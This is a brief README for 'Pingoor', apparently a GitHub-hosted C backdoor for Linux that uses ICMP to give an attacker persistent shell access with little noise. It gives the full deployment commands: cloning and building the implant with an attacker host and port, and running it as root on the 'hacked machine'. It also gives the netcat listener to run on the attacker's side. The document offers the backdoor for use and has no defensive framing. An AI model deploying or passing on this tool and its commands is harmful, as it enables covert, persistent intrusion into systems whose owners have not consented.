Pingoor is a backdoor developed in C for the GNU/Linux operating system. Its main characteristic is to use the ICMP protocol to give the attacker access to the shell of a machine, making its access persistent with little noise.
# Hacked machine
$ git clone https://github.com/MrEmpy/Pingoor.git
$ cd Pingoor
$ HOST=<YOURHOST> PORT=<YOURPORT> make
$ sudo ./pingoor
# Attacker machine
nc -lnvp <YOURPORT>